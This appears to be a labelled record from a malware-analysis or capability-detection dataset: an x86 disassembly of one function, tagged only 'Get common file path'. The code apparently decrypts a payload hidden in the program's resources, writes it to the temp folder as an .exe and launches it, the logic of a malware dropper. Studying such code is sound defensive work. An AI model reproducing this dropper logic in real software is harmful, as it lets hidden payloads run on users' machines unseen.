Function at 0x437c80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98c
push 0x40b0e8
push 0x40b0f8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x820], eax
push 0x40b108
push 0x40b118
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x824], eax
push 0x40b128
push 0x40b138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x808], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x904], eax
push 0xa
push 0x31b
mov eax, dword [ebp - 0x904]
push eax
call dword [ebp - 0x824]
mov dword [ebp - 0x95c], eax
mov ecx, dword [ebp - 0x95c]
push ecx
mov edx, dword [ebp - 0x904]
push edx
call dword [ebp - 0x820]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x95c]
push eax
mov ecx, dword [ebp - 0x904]
push ecx
call dword [ebp - 0x808]
mov dword [ebp - 0x858], eax
mov edx, dword [ebp - 0x828]
mov eax, dword [edx]
mov dword [ebp - 0x958], eax
mov ecx, dword [ebp - 0x828]
add ecx, 4
mov dword [ebp - 0x828], ecx
mov edx, dword [ebp - 0x858]
sub edx, 4
mov dword [ebp - 0x848], edx
mov eax, dword [ebp - 0x848]
mov dword [ebp - 0x968], eax
mov ecx, dword [ebp - 0x828]
mov dword [ebp - 0x844], ecx
mov edx, dword [ebp - 0x958]
shl edx, 1
mov dword [ebp - 0x81c], edx
mov eax, dword [ebp - 0x81c]
push eax
call fcn.004122c0
add esp, 4
mov dword [ebp - 0x984], eax
mov ecx, dword [ebp - 0x984]
mov dword [ebp - 0x964], ecx
mov edx, dword [ebp - 0x81c]
mov dword [ebp - 0x840], edx
push 0
lea eax, [ebp - 0x840]
push eax
mov ecx, dword [ebp - 0x964]
push ecx
mov edx, dword [ebp - 0x968]
push edx
mov eax, dword [ebp - 0x844]
push eax
call fcn.004381f0
add esp, 0x14
push 0xa
push 0x145
mov ecx, dword [ebp - 0x904]
push ecx
call dword [ebp - 0x824]
mov dword [ebp - 0x960], eax
mov edx, dword [ebp - 0x960]
push edx
mov eax, dword [ebp - 0x904]
push eax
call dword [ebp - 0x820]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x960]
push ecx
mov edx, dword [ebp - 0x904]
push edx
call dword [ebp - 0x808]
mov dword [ebp - 0x804], eax
mov eax, dword [ebp - 0x804]
sub eax, 4
mov dword [ebp - 0x854], eax
mov dword [ebp - 0x954], 0
mov dword [ebp - 0x974], 0
jmp 0x437e63
mov ecx, dword [ebp - 0x974]
add ecx, 1
mov dword [ebp - 0x974], ecx
mov edx, dword [ebp - 0x974]
cmp edx, dword [ebp - 0x840]
jae 0x437eda
mov eax, dword [ebp - 0x964]
add eax, dword [ebp - 0x974]
movzx ecx, byte [eax]
mov dword [ebp - 0x80c], ecx
call fcn.00437c70
mov edx, dword [ebp - 0x82c]
add edx, dword [ebp - 0x954]
movsx eax, byte [edx]
xor eax, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x964]
add ecx, dword [ebp - 0x974]
mov byte [ecx], al
mov edx, dword [ebp - 0x954]
add edx, 1
mov dword [ebp - 0x954], edx
mov eax, dword [ebp - 0x954]
cmp eax, dword [ebp - 0x854]
jne 0x437ed5
mov dword [ebp - 0x954], 0
jmp 0x437e54
mov ecx, dword [ebp - 0x840]
shr ecx, 1
mov dword [ebp - 0x850], ecx
mov edx, dword [ebp - 0x850]
push edx
call fcn.00414ba0
add esp, 4
mov dword [ebp - 0x970], eax
mov eax, dword [ebp - 0x964]
mov dword [ebp - 0x828], eax
mov byte [ebp - 0x818], 0
xor ecx, ecx
mov dword [ebp - 0x817], ecx
mov dword [ebp - 0x813], ecx
mov byte [ebp - 0x80f], cl
push 0xa
push 0
mov edx, dword [ebp - 0x970]
push edx
call fcn.00411a30
add esp, 0xc
mov dword [ebp - 0x978], 0
jmp 0x437f52
mov eax, dword [ebp - 0x978]
add eax, 1
mov dword [ebp - 0x978], eax
mov ecx, dword [ebp - 0x978]
cmp ecx, dword [ebp - 0x850]
jge 0x437fbd
mov edx, dword [ebp - 0x828]
mov al, byte [edx]
mov byte [ebp - 0x818], al
mov ecx, dword [ebp - 0x828]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x817], dl
lea eax, [ebp - 0x97c]
push eax
push 0x40b148
lea ecx, [ebp - 0x818]
push ecx
call fcn.00412130
add esp, 0xc
mov edx, dword [ebp - 0x970]
add edx, dword [ebp - 0x978]
mov al, byte [ebp - 0x97c]
mov byte [edx], al
mov ecx, dword [ebp - 0x828]
add ecx, 2
mov dword [ebp - 0x828], ecx
jmp 0x437f43
mov edx, dword [ebp - 0x964]
mov dword [ebp - 0x988], edx
mov eax, dword [ebp - 0x988]
push eax
call fcn.00415c50
add esp, 4
lea ecx, [ebp - 0x800]
push ecx
push 0x800
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, dword [ebp - 0x854]
push edx
mov eax, dword [ebp - 0x82c]
push eax
lea ecx, [ebp - 0x800]
push ecx
call fcn.00411d10
add esp, 0xc
mov dword [ebp - 0x96c], 0
mov dword [ebp - 0x980], 0
jmp 0x43802c
mov edx, dword [ebp - 0x980]
add edx, 1
mov dword [ebp - 0x980], edx
cmp dword [ebp - 0x980], 0x7fc
jge 0x43805a
mov eax, dword [ebp - 0x980]
movsx ecx, byte [ebp + eax - 0x800]
test ecx, ecx
jne 0x438058
mov edx, dword [ebp - 0x980]
mov dword [ebp - 0x96c], edx
jmp 0x43805a
jmp 0x43801d
mov eax, dword [ebp - 0x96c]
mov byte [ebp + eax - 0x800], 0x2e
mov ecx, dword [ebp - 0x96c]
add ecx, 1
mov dword [ebp - 0x96c], ecx
mov edx, dword [ebp - 0x96c]
mov byte [ebp + edx - 0x800], 0x65
mov eax, dword [ebp - 0x96c]
add eax, 1
mov dword [ebp - 0x96c], eax
mov ecx, dword [ebp - 0x96c]
mov byte [ebp + ecx - 0x800], 0x78
mov edx, dword [ebp - 0x96c]
add edx, 1
mov dword [ebp - 0x96c], edx
mov eax, dword [ebp - 0x96c]
mov byte [ebp + eax - 0x800], 0x65
mov ecx, dword [ebp - 0x96c]
add ecx, 1
mov dword [ebp - 0x96c], ecx
mov edx, dword [ebp - 0x96c]
mov byte [ebp + edx - 0x800], 0
mov eax, dword [ebp - 0x96c]
add eax, 1
mov dword [ebp - 0x96c], eax
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x800]
push ecx
lea ecx, [ebp - 0x900]
call fcn.0040dc70
lea ecx, [ebp - 0x900]
call fcn.0040dd50
movzx edx, al
test edx, edx
je 0x43813b
mov eax, dword [ebp - 0x850]
cdq
push edx
push eax
mov eax, dword [ebp - 0x970]
push eax
lea ecx, [ebp - 0x900]
call fcn.0040d650
lea ecx, [ebp - 0x900]
call fcn.0040dd70
mov dword [ebp - 0x950], 0
push 0x40
push 0
lea ecx, [ebp - 0x94c]
push ecx
call fcn.00411a30
add esp, 0xc
mov dword [ebp - 0x83c], 0
xor edx, edx
mov dword [ebp - 0x838], edx
mov dword [ebp - 0x834], edx
mov dword [ebp - 0x830], edx
mov dword [ebp - 0x950], 0x44
push 0x40b14c
push 0x40b15c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x84c], eax
lea eax, [ebp - 0x83c]
push eax
lea ecx, [ebp - 0x950]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x800]
push edx
call dword [ebp - 0x84c]
mov dword [ebp - 0x98c], 0
lea ecx, [ebp - 0x900]
call fcn.0040d570
mov eax, dword [ebp - 0x98c]
mov esp, ebp
pop ebp
ret 0x10